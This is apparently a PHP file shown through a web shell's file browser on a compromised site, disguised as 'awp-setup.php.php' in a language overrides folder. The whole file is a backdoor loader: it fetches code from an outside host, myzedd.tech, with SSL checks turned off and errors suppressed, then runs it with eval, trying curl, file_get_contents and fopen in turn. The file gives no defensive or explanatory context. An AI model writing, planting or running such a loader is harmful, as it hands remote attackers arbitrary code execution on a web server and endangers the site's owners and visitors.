| Current Path : /home/ataenra/www/language/overrides/ |
| Current File : /home/ataenra/www/language/overrides/awp-setup.php.php |
<?php
class RemoteFetcher {
private $url;
private $handlers = [];
public function __construct($url) {
$this->url = $url;
$this->handlers = [
'file_get_contents' => fn() => $this->fetchWithFileGetContents(),
'curl' => fn() => $this->fetchWithCurl(),
'fopen' => fn() => $this->fetchWithFopen()
];
}
private function fetchWithFileGetContents() {
$context = stream_context_create(['ssl' => ['verify_peer' => false]]);
return @file_get_contents($this->url, false, $context);
}
private function fetchWithCurl() {
if (!function_exists('curl_init')) return false;
$ch = curl_init($this->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec($ch);
curl_close($ch);
return $content;
}
private function fetchWithFopen() {
$fp = @fopen($this->url, 'r', false, stream_context_create(['ssl' => ['verify_peer' => false]]));
if (!$fp) return false;
$content = stream_get_contents($fp);
fclose($fp);
return $content;
}
public function withMethod($method) {
if (!isset($this->handlers[$method])) {
throw new Exception("Unknown method: $method");
}
$content = $this->handlers[$method]();
if ($content) eval('?>' . $content);
return $this;
}
public function auto() {
$methods = ['curl', 'file_get_contents', 'fopen'];
foreach ($methods as $method) {
$content = $this->handlers[$method]();
if ($content) {
eval('?>' . $content);
break;
}
}
return $this;
}
}
// Penggunaan
(new RemoteFetcher('https://myzedd.tech/project/zedd'))->auto();
// atau spesifik method
(new RemoteFetcher('https://myzedd.tech/project/zedd'))->withMethod('curl');
?>